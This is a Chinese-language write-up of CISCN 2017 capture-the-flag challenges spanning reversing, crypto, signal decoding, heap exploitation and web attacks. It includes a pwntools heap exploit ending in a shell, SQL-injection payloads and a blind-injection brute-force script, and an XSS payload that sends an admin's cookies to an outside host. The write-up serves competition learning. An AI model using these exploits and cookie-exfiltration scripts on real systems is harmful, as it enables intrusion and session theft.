CISCN 2017. 忙于考试,发上来的有点晚了。Meet u at Xidian!
签到 (50pt)
答题即可,flag{Ea3y_l4w_Kn0w1edg3}
PHP Exercise (150pt)
没有什么过滤,所以列目录+读文件即可。
填数游戏 (200pt)
逆向后得知,是个数独游戏,数据输入规则是:
- 用一行输入
- 要填空的数据直接输入原数字
- 已有数字的位置填0
在线解答数独后,直接输入即可:
APK Crack(300pt)
APK里的so文件只是用来反调试的,所以我们不看他。核心验证在simple类里,有个check方法,实现了一个虚拟机,两个寄存器R1和R2,支持一个栈(然而题目中没有用),数据提取出来之后简单把指令分拆开:
需要认真分析的指令字不多,有这么几个:
//registers
// ip
// sp & stack
// R1, R2
//Get Arg: loop v6 = v2[r_ip++] + v6 * 10 - 48
//opcode list
// with!: will change dip for every op number
// 47: SETREG R2, $ARG
// 81: PUSH R2, $ARG
// 82: POP R1, $ARG
// 79: SETFETCHA R2, $ARG
// 77: JMPR2<R1 $ARG
// 65: SETFETCHA R1, $ARG
// 70: SETPUTB R2, $ARG
// 71: SETFETCHB R1, $ARG
// 68: SETFETCHB R2, $ARG
// 0: LEAVE
取参数方式上有点麻烦,其他的还好。逆向了一半,突然发现这里应该是有个字符串赋值和比较:
红框是数据准备,黄框是判断,绿框是尚未翻译的指令字和数据字。尝试直接解一下:
提交即可。
Easyheap (200pt)
只放一下核心代码。篇幅太长了。
from pwn import *
from ctypes import CDLL
from time import sleep
#...
BIN_BASE = 0x0000555555554000
def add(size, content):
#...
def edit(idx, size, content):
#...
def list_():
#...
def remove(idx):
#...
add(0x90, '0'*0x8f)
add(0x90, '1'*0x8f)
add(0x90, '2'*0x8f)
remove(0x0)
remove(0x1)
add(0x90, '')
list_()
io.recvuntil('id:0,size:144,content:')
main_arena = u64(io.recv(6).ljust(0x8, '\x00'))
log.info("main_arena : 0x%016x" % main_arena)
libc_base = main_arena-0x3c4b78
log.info("libc base : 0x%016x" % libc_base)
edit(0, 0x9, '0'*0x8)
list_()
io.recvuntil('id:0,size:144,content:00000000')
heap_base = u64(io.recv(6).ljust(0x8, '\x00')) - 0xe0
log.info("heap base : 0x%016x" % heap_base)
add(0x60, '1'*0x5f)
add(0x60, '4'*0x5f)
remove(0x1)
payload = ''
payload += '/bin/sh\x00'
payload += '0'*0x90
payload += p64(0x21)
payload += p64(0x0)
payload += p64(heap_base+0x30)
payload += p64(0x90)
payload += p64(0x71)
payload += p64(0x60)
#payload += p64(0x60)
edit(0, 0xd8, payload)
add(0x60, '1'*0x5f)
add(0x50, '4'*0x4f)
add(0x50, '5'*0x4f)
payload = ''
payload += '4'*0x58
payload += p64(0x21)
payload += p64(0x0)
payload += p64(heap_base+0x360)
payload += p64(0x0)
payload += p64(0x61)
payload += p64(main_arena-0x30)
remove(0x5)
edit(4, 0xd8, payload)
add(0x50, '5'*0x4f)
payload = ''
payload += p64(0x0)*4
payload += p64(libc_base+0x3c5c50)
add(0x50, payload)
add(0x100, p64(0x0))
add(0x200, p64(0x0))
add(0x200, p64(0x0))
add(0x200, p64(0x0))
add(0x200, p64(0x0))
add(0x200, '\x00'*(0x90+0xa8)+p64(libc_base+0x0000000000045390))
remove(0x0)
# leak libc
io.interactive()
传感器1 (100pt)
显然是差分曼切斯特编码(这里的显然如果没看出来请复习信息论和编码理论)。首先将十六进制报文转为二进制串,然后按照差分曼切斯特编码就能得到编码前的二进制串,从而得到传感器ID。
传感器2 (250pt)
这里通过传感器1得知是差分曼切斯特编码,同时,可以看到两个不同ID的传感器报文除了ID部分,其余大部分相同,只有最后两个数不同。这里猜测是CRC-8校验。使用Python的crcmod模块,验证一下发现确实如此。
剩下的就简单了,将报文其中的ID部分换为两个新ID,即可计算出CRC-8,拿到flag。
wanna to see your hat?(250pt)
返回给出了查询语句 select count(*) from t_info where username = 'test' or nickname = 'test'
空格会被过滤,单引号'会替换成反斜杠\。那么空格用括号代替,用反斜杠转义后面的单引号。 再用单行注释#注释掉后面多余的部分。
所以最后payload为: name=or(1)#'
Embarrass(300pt)
Classical(300pt)
基本是原题:http://bono-ipad.github.io/burningctf2015_writeup.html 同上,省略了部分代码
from sage.all import *
def load_data():
"""
Load input data from file
:return: ciphertext and public key
"""
f1 = open('key.pub', 'r')
f2 = open('enc.txt', 'r')
pub_keys = f1.read()
pub_keys = eval(pub_keys)
ciphertext = int(long(f2.read().strip()))
#....
def create_matrix_from_knapsack(ciphertext, pub_keys):
"""
Create the matrix from input data of the form http://goo.gl/aOQE7J
"""
last_col = []
for p in pub_keys:
last_col.append(int(long(p)))
last_col.append(ciphertext)
last_row = [1 for i in pub_keys]
# I use sagemath to do this
# …
return my_matrix
def is_short_vector(vector):
"""
Is short vector?
:return: True/False
"""
for v in vector:
if v != 1 and v != -1 and v != 0:
return False
return True
def find_short_vector(matrix):
"""
Find short vector from matrix was applied LLL algorithms
"""
for row in matrix:
if is_short_vector(row):
return row
def main():
pub_keys, cipher = load_data()
my_matrix = create_matrix_from_knapsack(cipher, pub_keys)
# Apply LLL algorithm to matrix
new_matrix = my_matrix.LLL()
# Get short vector
short_vector = find_short_vector(new_matrix)
# Change 1 to 0 and -1 to 1 to get solution vector
solution_vector = []
for v in short_vector:
if v == 1:
solution_vector.append(0)
elif v == -1:
solution_vector.append(1)
x = ''.join([str(i) for i in solution_vector])
print x
print hex(int(x,2))
# and we get flag
print hex(int(x,2))[2:-1].decode('hex')
main()
# 0x666c61673d7b4164695368616d697253706f696c65647dL
# flag={AdiShamirSpoiled}
Partial (300pt)
# 这个题群里好几个人讨论出来的,所以就直接把相关聊天记录放上来了
# 提取出几个主要参数后,分解p和q:
n = 0x985CBA74B3AFCF36F82079DE644DE85DD6658A2D3FB2D5C239F2657F921756459E84EE0BBC56943DE04F2A04AACE311574BE1E9391AC5B0F8DBB999524AF8DF2451A84916F6699E54AE0290014AFBF561B0E502CA094ADC3D9582EA22F857529D3DA79737F663A95767FDD87A9C19D8104A736ACBE5F4A25B2A25B4DF981F44DB2EB7F3028B1D1363C3A36F0C1B9921C7C06848984DFE853597C3410FCBF9A1B49C0F5CB0EEDDC06D722A0A7488F893D37996F9A92CD3422465F49F3035FEA6912589EFCFB5A4CF9B69C81B9FCC732D6E6A1FFCE9690F34939B27113527ABB00878806B229EC6570815C32BC2C134B0F56C21A63CA535AB467593246508CA9F9
e = 0x10001
p = 0xBCF6D95C9FFCA2B17FD930C743BCEA314A5F24AE06C12CE62CDB6E8306A545DE468F1A23136321EB82B4B8695ECE58B763ECF8243CBBFADE0603922C130ED143D4D3E88E483529C820F7B53E4346511EB14D4D56CB2B714D3BDC9A2F2AB655993A31E0EB196E8F63028F9B29521E9B3609218BA0000000000000000000000000
# Sharif University CTF 2016: High-speed RSA Keygen [Part1]
# Filename: solver.sage
from sage.all import *
def get_primes(n):
numbers = set(range(n, 1, -1))
primes = []
while numbers:
p = numbers.pop()
primes.append(p)
numbers.difference_update(set(range(p*2, n+1, p)))
return primes
def coppersmith(pbar):
global n
beta = 0.5
epsilon = beta^2/7
pbits = 1024
kbits = floor(n.nbits()*(beta^2-epsilon))
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=beta) # find root < 2^kbits with factor >= n^0.3
if len(x0) > 0:
return x0[0] + pbar
else:
return None
####### main #######
e = 65537
primes = get_primes(443)
primes.sort()
del primes[0]
pi = 1;
for x in primes:
pi *= x
# print "pi=%X" % pi
for i in range(1,4096):
print i
kp = (i + 2**12 + 2**13 + 2**14 + 2**15 + 2**16 + 2**17 + 2**18 + 2**19)
pbar = kp * pi * (2**400)
# High-bit known attack
p = coppersmith(pbar)
if p != None and n % p == 0:
print "Found"
print "p", p
break
# 然后已知高位的脚本,又有上面的结果
p = 0xBCF6D95C9FFCA2B17FD930C743BCEA314A5F24AE06C12CE62CDB6E8306A545DE468F1A23136321EB82B4B8695ECE58B763ECF8243CBBFADE0603922C130ED143D4D3E88E483529C820F7B53E4346511EB14D4D56CB2B714D3BDC9A2F2AB655993A31E0EB196E8F63028F9B29521E9B3609218BA0000000000000000000000000
#q =
n = 0x985CBA74B3AFCF36F82079DE644DE85DD6658A2D3FB2D5C239F2657F921756459E84EE0BBC56943DE04F2A04AACE311574BE1E9391AC5B0F8DBB999524AF8DF2451A84916F6699E54AE0290014AFBF561B0E502CA094ADC3D9582EA22F857529D3DA79737F663A95767FDD87A9C19D8104A736ACBE5F4A25B2A25B4DF981F44DB2EB7F3028B1D1363C3A36F0C1B9921C7C06848984DFE853597C3410FCBF9A1B49C0F5CB0EEDDC06D722A0A7488F893D37996F9A92CD3422465F49F3035FEA6912589EFCFB5A4CF9B69C81B9FCC732D6E6A1FFCE9690F34939B27113527ABB00878806B229EC6570815C32BC2C134B0F56C21A63CA535AB467593246508CA9F9
e = 65535
beta = 0.5
epsilon = beta^2/7
pbits = p.nbits()
kbits = 400#how many bits are hiden
pbar = p
print "upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
print p
x0 = f.small_roots(X=2^kbits, beta=0.3)[0] # find root < 2^kbits with factor >= n^0.3
print x0 + pbar
Warmup (100pt)
哇头皮发麻,正在复习信息论考试和信号考试,你出个这个题,基本就是当练习题做了。
解压缩包就是个KPA攻击,比较简单,不再描述了,得到两个文件fuli和fuli2。两个文件的差别主要在于:
- IHDR块排布规律不同
- 两张图片用Stagsolve做XOR之后有横向条纹
第一个可以看出这个东西应该是用python或matlab之类的处理过,在对png支持不够好的程序中常有这种IDHR块只有8192字节的情况。第二个表示频域上可能有问题。基本确定就是知乎上这个问题的高票回答:https://www.zhihu.com/question/50735753
那么用盲水印在github上搜,有:https://github.com/chishaxie/BlindWaterMark
执行,得到:
溜了溜了~
Guestbook (400pt)
这道题目很明显的xss,可以预览,但是有沙盒,delete了很多方法,但是实际上并没有起到效果.
推测bot使用chrome浏览器,构造payload发现有csp限制,于是使用CVE-2017-5033中的技巧,直接window.open打开本地构造页(js伪协议)
<script>
open("javascript:'"+unescape('%3Cscript id=\"s\" %20src%3Dhttp://t.cn/RKqVxpo%3E%3C/script%3E')+"'","_self");
</script>
但是没有得到应有的信息,于是推测问题不在此处. 扫描得到了地址/admin/review.php:
function ha()
{
result=x.contentDocument.body.innerHTML;
w=document.createElement('p');
w.innerText=result;
s.appendChild(w);
a=x.contentDocument.cookie;
xhr=new XMLHttpRequest();
xhr.open("GET","http://www.math1as.com/xrecv.php?data="+escape(a));
xhr.send(null);
}
x=document.createElement('iframe');
x.src="http://106.75.119.64:8888/admin/review.php";
s.appendChild(x);
result='';
setTimeout("ha()",1000);
提交后,得到了管理员的cookies
里面正是flag{cr4ck_c5p_m4ybe_3z}
评价:rename功能就是个鸡肋,不知道放在那里的目的是啥
Flag Vending Machine (300pt)
套路,都是套路.
首先注册用户的时候就猜测到是否是注入了,果不其然,是在注册时转义,购买时触发的二次注入.但是这里有个坑,注册的时候select,where,on等关键字会被替换一次,因此需要进行双写。
编写脚本
import requests
import random
req=requests.Session()
main='http://120.132.20.183:8888/'
regurl=main+'register.php'
loginurl=main+'login.php'
mainurl=main+'user.php'
costurl=main+'buy.php?id=1'
flagurl=main+'buy.php?id=4'
def brute(n):
payload='nasda123i'
back=payload
mini=2333333
payload=payload+'\'||(seleselectct ascii(mid(group_coonncat(thisi5f14g),15,1))='+str(n)+' from fff1ag)#'
#print('rawpayload: '+payload)
pwd='1'
rawdata={'user':payload,'pass':pwd}
r=req.post(regurl,data=rawdata)
payload=payload.replace('select','')
payload=payload.replace('on','')
payload=payload.replace('where','')
rawdata={'user':payload,'pass':pwd}
r=req.post(loginurl,data=rawdata)
text1=r.text
#print(text1)
if "login" in text1:
exit('find illegal character in payload')
r=req.get(costurl)
r=req.get(mainurl)
text2=r.text
if(text1!=text2):
#print('payload: '+payload+' returns true')
return True
else:
#print('payload: '+payload+' returns false')
return False
for i in range(48,127):
print('now:'+chr(i))
if(brute(str(i))):
exit(chr(i))
注入得到了flag
方舟计划 (400pt)
web能不能不要全是注注注,蟹蟹啦.
一上来就是个insert处的注入,而且坑点在于加入了防护,对select x from y这类攻击做了检测.一开始的思路是select x,1e0fromxxx的方法来绕过,但是由于列的数量不一致而失败,最后使用内联注释/!50001from/的方式绕过:
通过注入得到了id=1时的用户名为fangzh0u.
猜测secretkey和password的关系为密文和秘钥,使用AES进行解密
得到明文密码为tencent123.
登录后界面为上传.avi转换为.mp4,太明显啦ffmpeg.使用工具来生成.avi 读取/etc/passwd
得到了root用户的路径为/home/s0m3b0dy,随后直接读取这个路径下的flag文件,得到了flag(客服直到凌晨3点半才修好)
Comment Closed.